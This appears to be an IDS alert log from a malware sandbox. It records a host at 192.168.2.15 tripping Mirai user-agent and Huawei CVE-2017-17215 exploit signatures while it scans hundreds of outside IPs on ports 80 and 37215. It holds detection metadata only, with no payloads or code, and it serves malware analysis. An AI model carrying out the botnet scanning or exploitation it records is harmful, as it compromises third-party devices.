2025-02-04T18:11:53.288703+0100	2030092	1	Web Application Attack	192.168.2.15	52884	201.191.230.95	80	TCP
2025-02-04T18:11:54.283086+0100	2030092	1	Web Application Attack	192.168.2.15	34568	86.223.23.112	80	TCP
2025-02-04T18:11:54.283592+0100	2030092	1	Web Application Attack	192.168.2.15	37356	64.172.203.188	80	TCP
2025-02-04T18:11:54.302322+0100	2030092	1	Web Application Attack	192.168.2.15	45484	31.162.52.0	80	TCP
2025-02-04T18:11:54.304384+0100	2030092	1	Web Application Attack	192.168.2.15	52140	216.199.168.73	80	TCP
2025-02-04T18:11:54.321789+0100	2030092	1	Web Application Attack	192.168.2.15	52674	108.16.63.233	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-04T18:11:17.904083+0100	2029034	1	Web Application Attack	192.168.2.15	56376	66.135.17.87	80	TCP
2025-02-04T18:11:18.206262+0100	2029034	1	Web Application Attack	192.168.2.15	56618	163.191.21.183	80	TCP
2025-02-04T18:11:19.378631+0100	2029034	1	Web Application Attack	192.168.2.15	52314	150.158.10.51	80	TCP
2025-02-04T18:11:20.211398+0100	2029034	1	Web Application Attack	192.168.2.15	36874	152.23.93.45	80	TCP
2025-02-04T18:11:24.472665+0100	2029034	1	Web Application Attack	192.168.2.15	60888	195.210.137.30	80	TCP
2025-02-04T18:11:25.286765+0100	2029034	1	Web Application Attack	192.168.2.15	34476	177.53.138.249	80	TCP
2025-02-04T18:11:36.391381+0100	2029034	1	Web Application Attack	192.168.2.15	41246	52.185.24.228	80	TCP
2025-02-04T18:11:37.674865+0100	2029034	1	Web Application Attack	192.168.2.15	55456	177.82.8.49	80	TCP
2025-02-04T18:11:37.739789+0100	2029034	1	Web Application Attack	192.168.2.15	40594	80.99.95.150	80	TCP
2025-02-04T18:11:37.751324+0100	2029034	1	Web Application Attack	192.168.2.15	48226	95.13.149.114	80	TCP
2025-02-04T18:11:37.784370+0100	2029034	1	Web Application Attack	192.168.2.15	36720	181.156.61.20	80	TCP
2025-02-04T18:11:37.814924+0100	2029034	1	Web Application Attack	192.168.2.15	55492	12.97.179.162	80	TCP
2025-02-04T18:11:37.822196+0100	2029034	1	Web Application Attack	192.168.2.15	47426	173.206.97.190	80	TCP
2025-02-04T18:11:37.870762+0100	2029034	1	Web Application Attack	192.168.2.15	45246	181.72.225.6	80	TCP
2025-02-04T18:11:38.006721+0100	2029034	1	Web Application Attack	192.168.2.15	52328	84.59.111.135	80	TCP
2025-02-04T18:11:38.054265+0100	2029034	1	Web Application Attack	192.168.2.15	33892	75.202.255.136	80	TCP
2025-02-04T18:11:38.065878+0100	2029034	1	Web Application Attack	192.168.2.15	34258	139.62.254.107	80	TCP
2025-02-04T18:11:38.095110+0100	2029034	1	Web Application Attack	192.168.2.15	49594	115.185.195.251	80	TCP
2025-02-04T18:11:38.143975+0100	2029034	1	Web Application Attack	192.168.2.15	46086	104.108.17.71	80	TCP
2025-02-04T18:11:38.173206+0100	2029034	1	Web Application Attack	192.168.2.15	48452	59.197.123.191	80	TCP
2025-02-04T18:11:38.222179+0100	2029034	1	Web Application Attack	192.168.2.15	56634	148.124.95.174	80	TCP
2025-02-04T18:11:38.241306+0100	2029034	1	Web Application Attack	192.168.2.15	41596	204.180.52.55	80	TCP
2025-02-04T18:11:38.251144+0100	2029034	1	Web Application Attack	192.168.2.15	53656	116.7.76.23	80	TCP
2025-02-04T18:11:38.258956+0100	2029034	1	Web Application Attack	192.168.2.15	40282	122.230.149.114	80	TCP
2025-02-04T18:11:38.284637+0100	2029034	1	Web Application Attack	192.168.2.15	38276	19.122.225.91	80	TCP
2025-02-04T18:11:38.286219+0100	2029034	1	Web Application Attack	192.168.2.15	58820	19.144.149.113	80	TCP
2025-02-04T18:11:38.286621+0100	2029034	1	Web Application Attack	192.168.2.15	37250	171.125.195.174	80	TCP
2025-02-04T18:11:38.690813+0100	2029034	1	Web Application Attack	192.168.2.15	32782	200.162.125.49	80	TCP
2025-02-04T18:11:38.782754+0100	2029034	1	Web Application Attack	192.168.2.15	58508	106.129.170.230	80	TCP
2025-02-04T18:11:38.878445+0100	2029034	1	Web Application Attack	192.168.2.15	44592	178.15.78.97	80	TCP
2025-02-04T18:11:38.895338+0100	2029034	1	Web Application Attack	192.168.2.15	33174	148.218.47.162	80	TCP
2025-02-04T18:11:38.913143+0100	2029034	1	Web Application Attack	192.168.2.15	53500	126.88.175.215	80	TCP
2025-02-04T18:11:38.925400+0100	2029034	1	Web Application Attack	192.168.2.15	38698	206.18.177.12	80	TCP
2025-02-04T18:11:38.985638+0100	2029034	1	Web Application Attack	192.168.2.15	53966	82.32.93.110	80	TCP
2025-02-04T18:11:38.991513+0100	2029034	1	Web Application Attack	192.168.2.15	47786	41.137.229.247	80	TCP
2025-02-04T18:11:39.069370+0100	2029034	1	Web Application Attack	192.168.2.15	33948	13.108.32.211	80	TCP
2025-02-04T18:11:39.081088+0100	2029034	1	Web Application Attack	192.168.2.15	37834	35.149.142.163	80	TCP
2025-02-04T18:11:39.126248+0100	2029034	1	Web Application Attack	192.168.2.15	43492	203.195.122.98	80	TCP
2025-02-04T18:11:39.220090+0100	2029034	1	Web Application Attack	192.168.2.15	37202	67.218.78.191	80	TCP
2025-02-04T18:11:39.220126+0100	2029034	1	Web Application Attack	192.168.2.15	56388	166.138.238.35	80	TCP
2025-02-04T18:11:39.235690+0100	2029034	1	Web Application Attack	192.168.2.15	43514	107.223.216.240	80	TCP
2025-02-04T18:11:39.241495+0100	2029034	1	Web Application Attack	192.168.2.15	49602	216.213.46.231	80	TCP
2025-02-04T18:11:39.287567+0100	2029034	1	Web Application Attack	192.168.2.15	40134	150.170.24.90	80	TCP
2025-02-04T18:11:39.288898+0100	2029034	1	Web Application Attack	192.168.2.15	41766	124.184.212.227	80	TCP
2025-02-04T18:11:39.798420+0100	2029034	1	Web Application Attack	192.168.2.15	57966	51.139.218.36	80	TCP
2025-02-04T18:11:39.800330+0100	2029034	1	Web Application Attack	192.168.2.15	41992	25.233.224.38	80	TCP
2025-02-04T18:11:39.822459+0100	2029034	1	Web Application Attack	192.168.2.15	46296	139.225.240.172	80	TCP
2025-02-04T18:11:39.823341+0100	2029034	1	Web Application Attack	192.168.2.15	42392	98.228.221.176	80	TCP
2025-02-04T18:11:39.869788+0100	2029034	1	Web Application Attack	192.168.2.15	49998	62.3.220.66	80	TCP
2025-02-04T18:11:39.870198+0100	2029034	1	Web Application Attack	192.168.2.15	45680	176.100.12.176	80	TCP
2025-02-04T18:11:39.871007+0100	2029034	1	Web Application Attack	192.168.2.15	58308	95.141.34.86	80	TCP
2025-02-04T18:11:40.535891+0100	2029034	1	Web Application Attack	192.168.2.15	52372	186.209.63.200	80	TCP
2025-02-04T18:11:40.737541+0100	2029034	1	Web Application Attack	192.168.2.15	48546	19.119.179.107	80	TCP
2025-02-04T18:11:40.741244+0100	2029034	1	Web Application Attack	192.168.2.15	49556	32.109.104.6	80	TCP
2025-02-04T18:11:40.782556+0100	2029034	1	Web Application Attack	192.168.2.15	33764	9.119.226.185	80	TCP
2025-02-04T18:11:40.813951+0100	2029034	1	Web Application Attack	192.168.2.15	47682	222.146.115.153	80	TCP
2025-02-04T18:11:40.813985+0100	2029034	1	Web Application Attack	192.168.2.15	43710	155.48.55.41	80	TCP
2025-02-04T18:11:40.815963+0100	2029034	1	Web Application Attack	192.168.2.15	58146	161.215.111.37	80	TCP
2025-02-04T18:11:40.819661+0100	2029034	1	Web Application Attack	192.168.2.15	43058	125.144.55.236	80	TCP
2025-02-04T18:11:40.869899+0100	2029034	1	Web Application Attack	192.168.2.15	59318	162.28.10.148	80	TCP
2025-02-04T18:11:40.870111+0100	2029034	1	Web Application Attack	192.168.2.15	49792	74.137.199.231	80	TCP
2025-02-04T18:11:40.909562+0100	2029034	1	Web Application Attack	192.168.2.15	47526	204.176.132.110	80	TCP
2025-02-04T18:11:40.956193+0100	2029034	1	Web Application Attack	192.168.2.15	37248	84.0.101.244	80	TCP
2025-02-04T18:11:41.038420+0100	2029034	1	Web Application Attack	192.168.2.15	33010	207.26.197.36	80	TCP
2025-02-04T18:11:41.054205+0100	2029034	1	Web Application Attack	192.168.2.15	36766	143.23.249.38	80	TCP
2025-02-04T18:11:41.096874+0100	2029034	1	Web Application Attack	192.168.2.15	45022	32.71.11.101	80	TCP
2025-02-04T18:11:41.128485+0100	2029034	1	Web Application Attack	192.168.2.15	50898	42.77.12.95	80	TCP
2025-02-04T18:11:41.161397+0100	2029034	1	Web Application Attack	192.168.2.15	53626	17.53.64.207	80	TCP
2025-02-04T18:11:41.241387+0100	2029034	1	Web Application Attack	192.168.2.15	53464	35.94.114.161	80	TCP
2025-02-04T18:11:41.241658+0100	2029034	1	Web Application Attack	192.168.2.15	42064	79.68.93.23	80	TCP
2025-02-04T18:11:41.266869+0100	2029034	1	Web Application Attack	192.168.2.15	41752	180.247.222.119	80	TCP
2025-02-04T18:11:41.272562+0100	2029034	1	Web Application Attack	192.168.2.15	56602	126.182.35.205	80	TCP
2025-02-04T18:11:41.298784+0100	2029034	1	Web Application Attack	192.168.2.15	60086	40.54.178.141	80	TCP
2025-02-04T18:11:41.304523+0100	2029034	1	Web Application Attack	192.168.2.15	46724	206.199.245.36	80	TCP
2025-02-04T18:11:41.331767+0100	2029034	1	Web Application Attack	192.168.2.15	36514	93.55.208.184	80	TCP
2025-02-04T18:11:41.814107+0100	2029034	1	Web Application Attack	192.168.2.15	39428	183.119.84.214	80	TCP
2025-02-04T18:11:41.814109+0100	2029034	1	Web Application Attack	192.168.2.15	40192	25.68.126.50	80	TCP
2025-02-04T18:11:41.831245+0100	2029034	1	Web Application Attack	192.168.2.15	59440	54.197.207.13	80	TCP
2025-02-04T18:11:41.831388+0100	2029034	1	Web Application Attack	192.168.2.15	40176	144.229.87.242	80	TCP
2025-02-04T18:11:41.869999+0100	2029034	1	Web Application Attack	192.168.2.15	34012	40.144.172.4	80	TCP
2025-02-04T18:11:41.870000+0100	2029034	1	Web Application Attack	192.168.2.15	45620	42.210.68.207	80	TCP
2025-02-04T18:11:41.870769+0100	2029034	1	Web Application Attack	192.168.2.15	58574	204.137.209.75	80	TCP
2025-02-04T18:11:42.807366+0100	2029034	1	Web Application Attack	192.168.2.15	55376	151.3.92.187	80	TCP
2025-02-04T18:11:42.816530+0100	2029034	1	Web Application Attack	192.168.2.15	33914	130.194.192.131	80	TCP
2025-02-04T18:11:42.831571+0100	2029034	1	Web Application Attack	192.168.2.15	38374	166.170.65.204	80	TCP
2025-02-04T18:11:42.871695+0100	2029034	1	Web Application Attack	192.168.2.15	50488	200.200.243.56	80	TCP
2025-02-04T18:11:42.871750+0100	2029034	1	Web Application Attack	192.168.2.15	33266	191.252.64.221	80	TCP
2025-02-04T18:11:42.871925+0100	2029034	1	Web Application Attack	192.168.2.15	56554	145.56.156.195	80	TCP
2025-02-04T18:11:42.872282+0100	2029034	1	Web Application Attack	192.168.2.15	46742	187.194.10.196	80	TCP
2025-02-04T18:11:42.872397+0100	2029034	1	Web Application Attack	192.168.2.15	33218	27.157.203.196	80	TCP
2025-02-04T18:11:42.872723+0100	2029034	1	Web Application Attack	192.168.2.15	43992	23.137.87.167	80	TCP
2025-02-04T18:11:42.873953+0100	2029034	1	Web Application Attack	192.168.2.15	50216	180.142.123.27	80	TCP
2025-02-04T18:11:42.892068+0100	2029034	1	Web Application Attack	192.168.2.15	47328	117.127.29.44	80	TCP
2025-02-04T18:11:42.894055+0100	2029034	1	Web Application Attack	192.168.2.15	54372	58.27.47.222	80	TCP
2025-02-04T18:11:42.898202+0100	2029034	1	Web Application Attack	192.168.2.15	50898	13.138.57.214	80	TCP
2025-02-04T18:11:42.914695+0100	2029034	1	Web Application Attack	192.168.2.15	42240	90.177.70.10	80	TCP
2025-02-04T18:11:43.053941+0100	2029034	1	Web Application Attack	192.168.2.15	51524	186.177.39.200	80	TCP
2025-02-04T18:11:43.143875+0100	2029034	1	Web Application Attack	192.168.2.15	44120	179.210.59.211	80	TCP
2025-02-04T18:11:43.195580+0100	2029034	1	Web Application Attack	192.168.2.15	47236	194.139.104.203	80	TCP
2025-02-04T18:11:43.301991+0100	2029034	1	Web Application Attack	192.168.2.15	58230	219.172.14.29	80	TCP
2025-02-04T18:11:43.313904+0100	2029034	1	Web Application Attack	192.168.2.15	49030	166.123.231.179	80	TCP
2025-02-04T18:11:43.415622+0100	2029034	1	Web Application Attack	192.168.2.15	48066	17.196.195.95	80	TCP
2025-02-04T18:11:43.442774+0100	2029034	1	Web Application Attack	192.168.2.15	47862	126.24.223.98	80	TCP
2025-02-04T18:11:43.458803+0100	2029034	1	Web Application Attack	192.168.2.15	43838	220.194.72.146	80	TCP
2025-02-04T18:11:43.538505+0100	2029034	1	Web Application Attack	192.168.2.15	56918	199.63.47.209	80	TCP
2025-02-04T18:11:43.552474+0100	2029034	1	Web Application Attack	192.168.2.15	38348	2.113.145.26	80	TCP
2025-02-04T18:11:43.565862+0100	2029034	1	Web Application Attack	192.168.2.15	46168	66.85.21.139	80	TCP
2025-02-04T18:11:43.646587+0100	2029034	1	Web Application Attack	192.168.2.15	38874	193.2.130.245	80	TCP
2025-02-04T18:11:43.689135+0100	2029034	1	Web Application Attack	192.168.2.15	49432	70.252.93.59	80	TCP
2025-02-04T18:11:43.720254+0100	2029034	1	Web Application Attack	192.168.2.15	43196	74.202.42.9	80	TCP
2025-02-04T18:11:43.806078+0100	2029034	1	Web Application Attack	192.168.2.15	48854	76.137.1.180	80	TCP
2025-02-04T18:11:43.829513+0100	2029034	1	Web Application Attack	192.168.2.15	36596	83.133.89.182	80	TCP
2025-02-04T18:11:43.867323+0100	2029034	1	Web Application Attack	192.168.2.15	54386	8.144.12.88	80	TCP
2025-02-04T18:11:43.867370+0100	2029034	1	Web Application Attack	192.168.2.15	44422	9.135.213.16	80	TCP
2025-02-04T18:11:43.867556+0100	2029034	1	Web Application Attack	192.168.2.15	56248	220.183.243.172	80	TCP
2025-02-04T18:11:43.868604+0100	2029034	1	Web Application Attack	192.168.2.15	49544	39.92.130.206	80	TCP
2025-02-04T18:11:43.868635+0100	2029034	1	Web Application Attack	192.168.2.15	37124	31.174.97.135	80	TCP
2025-02-04T18:11:43.868693+0100	2029034	1	Web Application Attack	192.168.2.15	58222	60.220.250.249	80	TCP
2025-02-04T18:11:43.868926+0100	2029034	1	Web Application Attack	192.168.2.15	39280	84.153.123.235	80	TCP
2025-02-04T18:11:43.869677+0100	2029034	1	Web Application Attack	192.168.2.15	49952	160.19.223.25	80	TCP
2025-02-04T18:11:43.869785+0100	2029034	1	Web Application Attack	192.168.2.15	38648	137.251.33.154	80	TCP
2025-02-04T18:11:43.869864+0100	2029034	1	Web Application Attack	192.168.2.15	54582	211.243.248.192	80	TCP
2025-02-04T18:11:43.869866+0100	2029034	1	Web Application Attack	192.168.2.15	45518	139.241.185.96	80	TCP
2025-02-04T18:11:43.869894+0100	2029034	1	Web Application Attack	192.168.2.15	52556	174.26.69.187	80	TCP
2025-02-04T18:11:43.869951+0100	2029034	1	Web Application Attack	192.168.2.15	35476	171.186.242.22	80	TCP
2025-02-04T18:11:43.869968+0100	2029034	1	Web Application Attack	192.168.2.15	35974	128.120.255.4	80	TCP
2025-02-04T18:11:43.870098+0100	2029034	1	Web Application Attack	192.168.2.15	41162	54.251.33.18	80	TCP
2025-02-04T18:11:43.870103+0100	2029034	1	Web Application Attack	192.168.2.15	49432	141.20.42.238	80	TCP
2025-02-04T18:11:43.870148+0100	2029034	1	Web Application Attack	192.168.2.15	35610	97.197.78.241	80	TCP
2025-02-04T18:11:43.870212+0100	2029034	1	Web Application Attack	192.168.2.15	45780	126.176.228.197	80	TCP
2025-02-04T18:11:43.876728+0100	2029034	1	Web Application Attack	192.168.2.15	36422	50.52.226.195	80	TCP
2025-02-04T18:11:43.877396+0100	2029034	1	Web Application Attack	192.168.2.15	43794	23.15.127.183	80	TCP
2025-02-04T18:11:43.878866+0100	2029034	1	Web Application Attack	192.168.2.15	53316	187.217.155.175	80	TCP
2025-02-04T18:11:43.884516+0100	2029034	1	Web Application Attack	192.168.2.15	42838	161.104.195.78	80	TCP
2025-02-04T18:11:43.894216+0100	2029034	1	Web Application Attack	192.168.2.15	56418	90.198.87.168	80	TCP
2025-02-04T18:11:43.895815+0100	2029034	1	Web Application Attack	192.168.2.15	41704	83.238.144.61	80	TCP
2025-02-04T18:11:43.907637+0100	2029034	1	Web Application Attack	192.168.2.15	48318	86.35.202.69	80	TCP
2025-02-04T18:11:43.913606+0100	2029034	1	Web Application Attack	192.168.2.15	37846	63.54.131.20	80	TCP
2025-02-04T18:11:43.913830+0100	2029034	1	Web Application Attack	192.168.2.15	38382	57.0.217.84	80	TCP
2025-02-04T18:11:43.913899+0100	2029034	1	Web Application Attack	192.168.2.15	50544	113.9.76.55	80	TCP
2025-02-04T18:11:43.914016+0100	2029034	1	Web Application Attack	192.168.2.15	33386	9.120.59.100	80	TCP
2025-02-04T18:11:43.915770+0100	2029034	1	Web Application Attack	192.168.2.15	60696	25.119.53.5	80	TCP
2025-02-04T18:11:43.942810+0100	2029034	1	Web Application Attack	192.168.2.15	47718	41.39.69.139	80	TCP
2025-02-04T18:11:43.974132+0100	2029034	1	Web Application Attack	192.168.2.15	35178	179.192.200.231	80	TCP
2025-02-04T18:11:44.007263+0100	2029034	1	Web Application Attack	192.168.2.15	37570	158.116.133.144	80	TCP
2025-02-04T18:11:44.065988+0100	2029034	1	Web Application Attack	192.168.2.15	38216	74.93.106.203	80	TCP
2025-02-04T18:11:44.085603+0100	2029034	1	Web Application Attack	192.168.2.15	57624	190.1.187.23	80	TCP
2025-02-04T18:11:44.085931+0100	2029034	1	Web Application Attack	192.168.2.15	58746	70.27.202.249	80	TCP
2025-02-04T18:11:44.099347+0100	2029034	1	Web Application Attack	192.168.2.15	52356	113.60.71.8	80	TCP
2025-02-04T18:11:45.145876+0100	2029034	1	Web Application Attack	192.168.2.15	59390	37.111.84.54	80	TCP
2025-02-04T18:11:45.148672+0100	2029034	1	Web Application Attack	192.168.2.15	51986	54.130.141.170	80	TCP
2025-02-04T18:11:46.142273+0100	2029034	1	Web Application Attack	192.168.2.15	55838	202.190.152.115	80	TCP
2025-02-04T18:11:46.159988+0100	2029034	1	Web Application Attack	192.168.2.15	37292	194.10.184.124	80	TCP
2025-02-04T18:11:46.592325+0100	2029034	1	Web Application Attack	192.168.2.15	33964	18.238.109.205	80	TCP
2025-02-04T18:11:47.017846+0100	2029034	1	Web Application Attack	192.168.2.15	47016	161.225.186.189	80	TCP
2025-02-04T18:11:47.142085+0100	2029034	1	Web Application Attack	192.168.2.15	46452	24.76.98.2	80	TCP
2025-02-04T18:11:47.143736+0100	2029034	1	Web Application Attack	192.168.2.15	56378	193.158.34.34	80	TCP
2025-02-04T18:11:47.147602+0100	2029034	1	Web Application Attack	192.168.2.15	42332	197.171.131.230	80	TCP
2025-02-04T18:11:47.148189+0100	2029034	1	Web Application Attack	192.168.2.15	60698	1.19.246.235	80	TCP
2025-02-04T18:11:47.173412+0100	2029034	1	Web Application Attack	192.168.2.15	56938	83.248.130.23	80	TCP
2025-02-04T18:11:49.237715+0100	2029034	1	Web Application Attack	192.168.2.15	36338	121.240.223.253	80	TCP
2025-02-04T18:11:49.239566+0100	2029034	1	Web Application Attack	192.168.2.15	50962	1.198.0.183	80	TCP
2025-02-04T18:11:49.257908+0100	2029034	1	Web Application Attack	192.168.2.15	54824	149.23.206.244	80	TCP
2025-02-04T18:11:49.259114+0100	2029034	1	Web Application Attack	192.168.2.15	38338	5.194.208.133	80	TCP
2025-02-04T18:11:49.290571+0100	2029034	1	Web Application Attack	192.168.2.15	35806	44.91.54.13	80	TCP
2025-02-04T18:11:50.239651+0100	2029034	1	Web Application Attack	192.168.2.15	35036	32.158.13.252	80	TCP
2025-02-04T18:11:51.290778+0100	2029034	1	Web Application Attack	192.168.2.15	47772	76.93.228.103	80	TCP
2025-02-04T18:11:52.236751+0100	2029034	1	Web Application Attack	192.168.2.15	37698	143.146.138.168	80	TCP
2025-02-04T18:11:52.236752+0100	2029034	1	Web Application Attack	192.168.2.15	46400	187.17.238.100	80	TCP
2025-02-04T18:11:52.238257+0100	2029034	1	Web Application Attack	192.168.2.15	60370	42.15.218.97	80	TCP
2025-02-04T18:11:52.240099+0100	2029034	1	Web Application Attack	192.168.2.15	37954	152.212.91.59	80	TCP
2025-02-04T18:11:52.274944+0100	2029034	1	Web Application Attack	192.168.2.15	60098	116.188.200.173	80	TCP
2025-02-04T18:11:52.288547+0100	2029034	1	Web Application Attack	192.168.2.15	38034	20.106.247.173	80	TCP
2025-02-04T18:11:53.251913+0100	2029034	1	Web Application Attack	192.168.2.15	56608	40.206.98.120	80	TCP
2025-02-04T18:11:53.269463+0100	2029034	1	Web Application Attack	192.168.2.15	48844	163.146.97.221	80	TCP
2025-02-04T18:11:53.269492+0100	2029034	1	Web Application Attack	192.168.2.15	45230	105.218.189.222	80	TCP
2025-02-04T18:11:53.273571+0100	2029034	1	Web Application Attack	192.168.2.15	49326	72.125.5.124	80	TCP
2025-02-04T18:11:53.276671+0100	2029034	1	Web Application Attack	192.168.2.15	56104	51.155.163.21	80	TCP
2025-02-04T18:11:53.288703+0100	2029034	1	Web Application Attack	192.168.2.15	52884	201.191.230.95	80	TCP
2025-02-04T18:11:54.283086+0100	2029034	1	Web Application Attack	192.168.2.15	34568	86.223.23.112	80	TCP
2025-02-04T18:11:54.283592+0100	2029034	1	Web Application Attack	192.168.2.15	37356	64.172.203.188	80	TCP
2025-02-04T18:11:54.302322+0100	2029034	1	Web Application Attack	192.168.2.15	45484	31.162.52.0	80	TCP
2025-02-04T18:11:54.304384+0100	2029034	1	Web Application Attack	192.168.2.15	52140	216.199.168.73	80	TCP
2025-02-04T18:11:54.321789+0100	2029034	1	Web Application Attack	192.168.2.15	52674	108.16.63.233	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-04T18:11:22.184807+0100	2835222	1	A Network Trojan was detected	192.168.2.15	34772	156.229.156.25	37215	TCP
2025-02-04T18:11:24.307214+0100	2835222	1	A Network Trojan was detected	192.168.2.15	37246	156.231.87.111	37215	TCP
2025-02-04T18:11:25.607889+0100	2835222	1	A Network Trojan was detected	192.168.2.15	60960	41.164.28.9	37215	TCP
2025-02-04T18:11:29.469291+0100	2835222	1	A Network Trojan was detected	192.168.2.15	47622	41.234.231.15	37215	TCP
2025-02-04T18:11:29.869023+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35578	197.210.178.63	37215	TCP
2025-02-04T18:11:30.300034+0100	2835222	1	A Network Trojan was detected	192.168.2.15	41028	156.246.225.38	37215	TCP
2025-02-04T18:11:33.219154+0100	2835222	1	A Network Trojan was detected	192.168.2.15	48968	197.129.25.151	37215	TCP
2025-02-04T18:11:37.055574+0100	2835222	1	A Network Trojan was detected	192.168.2.15	36728	41.212.96.51	37215	TCP
2025-02-04T18:11:37.738100+0100	2835222	1	A Network Trojan was detected	192.168.2.15	56422	197.186.125.49	37215	TCP
2025-02-04T18:11:37.773011+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53094	41.229.92.72	37215	TCP
2025-02-04T18:11:37.788473+0100	2835222	1	A Network Trojan was detected	192.168.2.15	47592	156.232.252.30	37215	TCP
2025-02-04T18:11:37.814849+0100	2835222	1	A Network Trojan was detected	192.168.2.15	33992	197.172.1.62	37215	TCP
2025-02-04T18:11:37.870635+0100	2835222	1	A Network Trojan was detected	192.168.2.15	54460	197.212.217.236	37215	TCP
2025-02-04T18:11:37.870945+0100	2835222	1	A Network Trojan was detected	192.168.2.15	48016	197.249.19.10	37215	TCP
2025-02-04T18:11:37.895791+0100	2835222	1	A Network Trojan was detected	192.168.2.15	37500	41.80.3.189	37215	TCP
2025-02-04T18:11:37.910009+0100	2835222	1	A Network Trojan was detected	192.168.2.15	44564	41.156.70.108	37215	TCP
2025-02-04T18:11:37.989345+0100	2835222	1	A Network Trojan was detected	192.168.2.15	49706	197.159.207.228	37215	TCP
2025-02-04T18:11:38.005034+0100	2835222	1	A Network Trojan was detected	192.168.2.15	57500	41.229.202.43	37215	TCP
2025-02-04T18:11:38.007948+0100	2835222	1	A Network Trojan was detected	192.168.2.15	34294	41.216.131.125	37215	TCP
2025-02-04T18:11:38.048196+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35832	197.157.167.236	37215	TCP
2025-02-04T18:11:38.064275+0100	2835222	1	A Network Trojan was detected	192.168.2.15	43928	197.0.255.111	37215	TCP
2025-02-04T18:11:38.067721+0100	2835222	1	A Network Trojan was detected	192.168.2.15	42116	41.197.212.105	37215	TCP
2025-02-04T18:11:38.081694+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38138	41.89.103.100	37215	TCP
2025-02-04T18:11:38.094935+0100	2835222	1	A Network Trojan was detected	192.168.2.15	36264	156.52.86.18	37215	TCP
2025-02-04T18:11:38.118320+0100	2835222	1	A Network Trojan was detected	192.168.2.15	56890	156.221.146.36	37215	TCP
2025-02-04T18:11:38.720005+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39240	197.74.8.49	37215	TCP
2025-02-04T18:11:38.800248+0100	2835222	1	A Network Trojan was detected	192.168.2.15	51726	41.89.186.103	37215	TCP
2025-02-04T18:11:38.819742+0100	2835222	1	A Network Trojan was detected	192.168.2.15	52870	156.118.10.77	37215	TCP
2025-02-04T18:11:38.878617+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38764	197.153.167.125	37215	TCP
2025-02-04T18:11:38.878679+0100	2835222	1	A Network Trojan was detected	192.168.2.15	42968	197.109.186.149	37215	TCP
2025-02-04T18:11:38.879968+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35030	41.237.200.164	37215	TCP
2025-02-04T18:11:38.909554+0100	2835222	1	A Network Trojan was detected	192.168.2.15	47320	197.14.66.12	37215	TCP
2025-02-04T18:11:38.972015+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38780	197.109.31.175	37215	TCP
2025-02-04T18:11:39.048243+0100	2835222	1	A Network Trojan was detected	192.168.2.15	33700	197.133.40.24	37215	TCP
2025-02-04T18:11:39.052067+0100	2835222	1	A Network Trojan was detected	192.168.2.15	49810	156.80.186.253	37215	TCP
2025-02-04T18:11:39.063736+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35530	156.161.111.247	37215	TCP
2025-02-04T18:11:39.067785+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38760	41.29.6.122	37215	TCP
2025-02-04T18:11:39.097298+0100	2835222	1	A Network Trojan was detected	192.168.2.15	44860	156.66.193.93	37215	TCP
2025-02-04T18:11:40.063768+0100	2835222	1	A Network Trojan was detected	192.168.2.15	37782	156.181.117.103	37215	TCP
2025-02-04T18:11:40.067528+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38036	156.87.226.227	37215	TCP
2025-02-04T18:11:40.401916+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40210	197.5.14.49	37215	TCP
2025-02-04T18:11:40.782847+0100	2835222	1	A Network Trojan was detected	192.168.2.15	52170	156.166.231.243	37215	TCP
2025-02-04T18:11:40.783346+0100	2835222	1	A Network Trojan was detected	192.168.2.15	56370	197.206.55.46	37215	TCP
2025-02-04T18:11:40.923093+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50816	41.137.88.118	37215	TCP
2025-02-04T18:11:40.960009+0100	2835222	1	A Network Trojan was detected	192.168.2.15	58172	41.106.217.55	37215	TCP
2025-02-04T18:11:40.991452+0100	2835222	1	A Network Trojan was detected	192.168.2.15	33738	156.129.236.100	37215	TCP
2025-02-04T18:11:41.034633+0100	2835222	1	A Network Trojan was detected	192.168.2.15	43732	41.238.27.185	37215	TCP
2025-02-04T18:11:41.063882+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53468	41.90.199.41	37215	TCP
2025-02-04T18:11:41.067835+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39476	197.75.231.248	37215	TCP
2025-02-04T18:11:41.087036+0100	2835222	1	A Network Trojan was detected	192.168.2.15	58936	41.130.45.55	37215	TCP
2025-02-04T18:11:41.096679+0100	2835222	1	A Network Trojan was detected	192.168.2.15	56738	156.106.230.150	37215	TCP
2025-02-04T18:11:41.706603+0100	2835222	1	A Network Trojan was detected	192.168.2.15	55504	156.195.158.216	37215	TCP
2025-02-04T18:11:41.764834+0100	2835222	1	A Network Trojan was detected	192.168.2.15	49716	156.231.34.243	37215	TCP
2025-02-04T18:11:41.833264+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40888	197.51.196.232	37215	TCP
2025-02-04T18:11:41.925193+0100	2835222	1	A Network Trojan was detected	192.168.2.15	33982	41.247.70.4	37215	TCP
2025-02-04T18:11:41.939451+0100	2835222	1	A Network Trojan was detected	192.168.2.15	55982	197.229.162.82	37215	TCP
2025-02-04T18:11:41.942683+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35342	197.165.49.31	37215	TCP
2025-02-04T18:11:41.954575+0100	2835222	1	A Network Trojan was detected	192.168.2.15	34564	41.160.92.139	37215	TCP
2025-02-04T18:11:41.960349+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38700	197.211.217.174	37215	TCP
2025-02-04T18:11:41.970172+0100	2835222	1	A Network Trojan was detected	192.168.2.15	43636	197.225.24.55	37215	TCP
2025-02-04T18:11:42.970033+0100	2835222	1	A Network Trojan was detected	192.168.2.15	60952	156.136.36.32	37215	TCP
